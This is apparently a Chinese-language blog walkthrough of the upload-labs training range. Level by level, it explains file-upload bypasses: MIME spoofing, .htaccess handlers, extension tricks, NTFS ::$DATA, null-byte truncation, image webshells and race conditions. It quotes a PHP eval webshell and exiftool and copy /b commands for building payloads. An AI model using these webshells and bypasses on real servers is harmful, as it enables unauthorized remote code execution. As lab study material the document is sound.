前言

仅以此作为本人学习过程的记录

Upload-labs是一个所有类型的上传漏洞的靶场,截至到现在共有21个关卡,这里总结的wp不代表是唯一wp

项目地址:https://github.com/c0ny1/upload-labs

其涉及的漏洞点包括

这里上传的图片默认名字为1.jpg。上传的php默认名字为1.php,内容为<?php eval($_POST["a"]);?>

Pass-01

通过观察可以发现点击文件上传网页和后台没有数据传输,并且可以观察到相关的js过滤语句

漏洞点为客户端–js检查

利用方式

  • 通过浏览器禁止运行js,位置为浏览器–设置–高级设置–内容设置–java script

或者

  • 通过bp抓包,上传1.jpg然后在bp上将文件名改回1.php,然后放包

Pass-02

漏洞点为服务端–检查后缀–白名单–MIME绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

利用方式:

  • 上传1.php,BP抓包后将文件的Content-Type改为image/jpeg(以上三者之一)即可

Pass-03

上传1.php,回显是提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!推测是黑名单,上传php3,可以正常访问

漏洞点为服务端–检查后缀–黑名单–上传特殊可解析后缀

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

漏洞产生原因:源码只对php、asp、jsp、aspx进行了过滤,但是Apache和php常用的php程序文件后缀有phtml、pht、php3、php4和php5

利用方式:

  • 上传1.php3

Pass-04

上传1.php,回显提示:此文件不允许上传!,为了确认是黑名单过滤还是白名单过滤,随意上传一个1.a,发现可以上传,证明是黑名单

漏洞点为服务端–检查后缀–黑名单–上传.htaccess

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

利用方式

  • 上传.htaccess文件,内容如下,其意思为添加一种解析方式,即将jpg当做php解析
    AddType application/x-httpd-php .jpg
    
  • 或者同样是上传.htaccess文件,内容如下,其意思是将上传的文件都当做php来解析
    SetHandler application/x-httpd-php
    

注意:构造的.htaccess就是文件全名

相关背景

关于AddType命令的作用解释如下

AddType 指令
作用:在给定的文件扩展名与特定的内容类型之间建立映射
语法:AddType MIME-type extension [extension] …
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。

此处黑名单没有过滤.htaccess后缀,故此处可上传.htaccess文件进行绕过。
注: .htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

作者:Miracle778
链接:https://www.jianshu.com/p/aabc1e7408d5
来源:简书

补充:

最近看到有新的方法

漏洞点为服务端–检查后缀–黑名单–配合解析漏洞–apache陌生后缀解析漏洞

利用方法:上传1.php.xxx

原理:php解析会把文件结尾理解为xxx,从而绕过黑名单,然后apache不认识xxx就继续搜索,然后找到php,就当做php解析

先来看一下apache的主配置文件httpd.conf,搜索“DefaultType”,就可以看到这么一段注释和默认配置:

#
# DefaultType: the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, “text/plain” is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use “application/octet-stream” instead to
# keep browsers from trying to display binary files as though they are
# text.
#10DefaultType text/plain

DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件,比如f4ck.xxx这样的文件,扩展名是xxx,这肯定不是一个正常的网页或脚本文件,这个参数就是告诉apache该怎么处理这种未知扩展名的文件。

参数DefaultType的默认值是“text/plain”,也就是遇到未知扩展名的文件,就把它当作普通的txt文本或html文件来处理。

测试一

比如我将以下代码保存为f4ck.xxx 默认解析成文本

测试二

那么,对于文件内容为php代码的未知扩展名文件来说也是解析成文本

对于f4ck.php.xxx,那么就会被以module方式运行php的apache解析,因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。

解决方案一

在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:


Order Deny,Allow
Deny from all

解决方案二

如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:

filename = str_replace(‘.’, ‘_’,filename);

摘自:https://www.cnblogs.com/hack404/p/10385049.html
用户:APT-101
侵权联系删除

Pass-05

参考Pass-04新增的方法

Pass-06

黑盒测试知道是黑名单过滤

白盒测试知道可以修改大小写绕过

漏洞点为服务端–检查后缀–黑名单–后缀大小写绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

利用方法:上传1.phP

Pass-07

黑盒测试知道是黑名单过滤

白盒测试知道可以在文件名结尾添加空格绕过

漏洞点为服务端–检查后缀–黑名单–空格绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

利用方法:上传1.php然后bp抓包修改名字为1.php[空格]

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点

Pass-08

黑盒测试知道是黑名单过滤

白盒测试知道可以在文件名结尾添加.绕过

漏洞点为服务端–检查后缀–黑名单–点绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

利用方法:上传1.php然后bp抓包修改文件名为1.php.

小声bb:貌似上传1.php.x也可以?

Pass-09

黑盒测试知道是黑名单过滤

白盒测试知道可以在文件名结尾添加::DATA绕过

漏洞点为服务端–检查后缀–黑名单–::DATA绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

利用方法:上传1.php,然后bp抓包改名字为1.php::DATA,这里还是利用windows的一个特性。简单讲就是在php+windows的情况下:如果文件名+”::DATA”会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::DATA”之前的文件名

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$DATA。

相关特性

  • 假设上传个info.php文件,服务器为windows,info.php内容为* info.php:a.jpg 生成info.php,内容为空
    >* info.php::$DATA 生成info.php,内容为
  • info.php::$INDEX_ALLOCATION 生成info.php文件夹
  • info.php::$DATA0.jpg生成0.jpg,内容为

Pass-10

黑盒测试知道是黑名单过滤

白盒测试知道可以在文件名结尾.[空格].绕过

漏洞点为服务端–检查后缀–黑名单–配合解析漏洞

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里对文件名只有一个去除末尾点和空格的操作,也就是说上传1.php.[空格].最后处理为1.php.,这也是利用了windows的特点。

Pass-11

上传1.php,发现文件名变为1.,证明把php替换成了空

漏洞点为服务端–检查后缀–黑名单–双后缀名绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;        
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里的str_ireplace()是str_place()的升级版,忽略了大小写
这里把黑名单中的字符都替换成了空,根据函数从左到右检查的特性,如果上传1.phphpp,那处理完变成hpp,如果上传1.pphphp,那处理完变成1.php

利用方式:上传1.pphphp

Pass-12

黑盒测试发现是白名单过滤

漏洞点为服务端–检查后缀–白名单–%00截断

源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

白盒测试发现后缀要为jpg或者其他两个,只能改变文件路径使其索引到php去,也就是用%00截断,跟c语言一眼,php会将%00视为字符串结尾

但对环境有如下要求:

1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态

利用方法:上传1.jpg,然后bp抓包在save_path处改成/upload/1.php%00

Pass-13

黑盒测试发现是白名单

漏洞点为服务端–检查后缀–白名单–0x00截断

源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

发现是POST传值

利用方法:用0x00截断,上传1.jpg然后bp抓包,路径那里填1.php%00,然后选中%00按ctrl+shift+u,或者下面这样

也可以修改hex成00,%00的16进制编码是25 30 30

总结一下Pass-12和Pass-13

共同点:
1. 都要求php版本在5.3.4以下
2. 都要求php.ini的magic_quotes_gpc为OFF
3. 都是使用截断

不同点:
1. GET传值在网址处可以看得到,用%00截断
2. POST传值在网址处不可以看到,用0x00截断

%00与0x00截断的区别:
原理一样,只是在Pass-12中为GET方式,服务器在进行URL解码时将其解码成0x00,Pass-13中为POST方式,没有URL解码这一步骤,所以要在hex值中修改,形成0x00截断。

Pass-14

漏洞点为服务端–检查内容–文件头检查

源码

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);    
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
$fileType = '';    
switch($typeCode){      
case 255216:            
$fileType = 'jpg';
break;
case 13780:            
$fileType = 'png';
break;        
case 7173:            
$fileType = 'gif';
break;
default:            
$fileType = 'unknown';
}    
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

文件包含页面源码

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?> 

漏洞原理:

  1. 检测上传文件只检测前两个字节,导致木马文件可能藏在后面
  2. php中的include()会把文件当做php文件来执行

容易导致文件包含的函数:

include()  
require()  
inlcude_once()  
require_once()

利用方式:通过上传包含木马内容的图片文件,从而绕过上传检测,然后利用include.php把图片文件当做php文件来执行。

制作图片马cmd下运行copy 1.jpg /b 2.php /a 3.jpg,上传绕过检测,然后构造payroad:http://127.0.0.1:8080/include.php?file=upload/3.jpg

补充

还有两个方法:

1.上传1.php然后bp抓包在内容前面加GIF89a(文件头),然后利用文件包含漏洞构造payload

2.制作图片马时可以把木马放在图片的comment中,用exiftool工具

exiftool "-comment=<?php echo 'hello world';eval($_POST['a']); ?>" 4.jpg

结果如下

Pass-15

漏洞点为服务端–检查内容–突破getimagesize()

源码

function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

利用方式:这里用getimagesize()获取文件信息,该函数也只是进行文件头的检查,利用方式和Pass-14一样

Pass-16

漏洞点为服务端–检查内容–突破exif_imagetype()

源码

function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;    
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

利用方式:这里用exif_imagetype()获取文件信息,该函数也只是进行文件头的检查,利用方式和Pass-14一样

Pass-17

漏洞点为服务端–检查内容–二次渲染

这个比较复杂可以参考https://xz.aliyun.com/t/2657#toc-13

Pass-18

漏洞点为服务端–代码逻辑–条件竞争

源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

因为文件上传后先放在一个临时位置再判断是否合法,所以可以在文件存在临时位置,未被删除的瞬间访问。这样的手速反正我是没有,据说是用bp几十上百线程发送数据包过去然后趁服务器不注意就访问

Pass-19

漏洞点为服务端–代码逻辑–条件竞争

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break; 
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break; 
case -2:
$msg = '上传失败,上传目录不可写。';
break; 
case -3:
$msg = '上传失败,无法上传该类型文件。';
break; 
case -4:
$msg = '上传失败,上传的文件过大。';
break; 
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break; 
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;      
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
...... 
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );    
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );    
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );    
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );    
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
...... 
};

代码的意思是先判断上传的文件是否合法,合法的话就二次包装,使得文件面目全非(使我们不知道文件名从而无法访问),利用方法是上传图片马然后继续拼手速哈哈哈真刺激

Pass-20

这里还是00截断

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) { 
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

方法比较简单,上传1.php然后bp抓包把后缀改成php然后用%00截断就行

Pass-21

Pass-21逻辑性很强可以细细分析,主要思路是利用数组

尾言

参考来自
http://hed9eh0g.top/?p=46
http://lz2y.top/index.php/2020/01/upload-labs-writeup2/
https://www.jianshu.com/p/aabc1e7408d5
http://www.mo60.cn/post-42.html
https://www.cnblogs.com/hack404/p/10385049.html
https://bbs.ichunqiu.com/thread-43510-1-6.html

说点什么
支持Markdown语法
在"upload-labs通关wp"已有1条评论
Loading...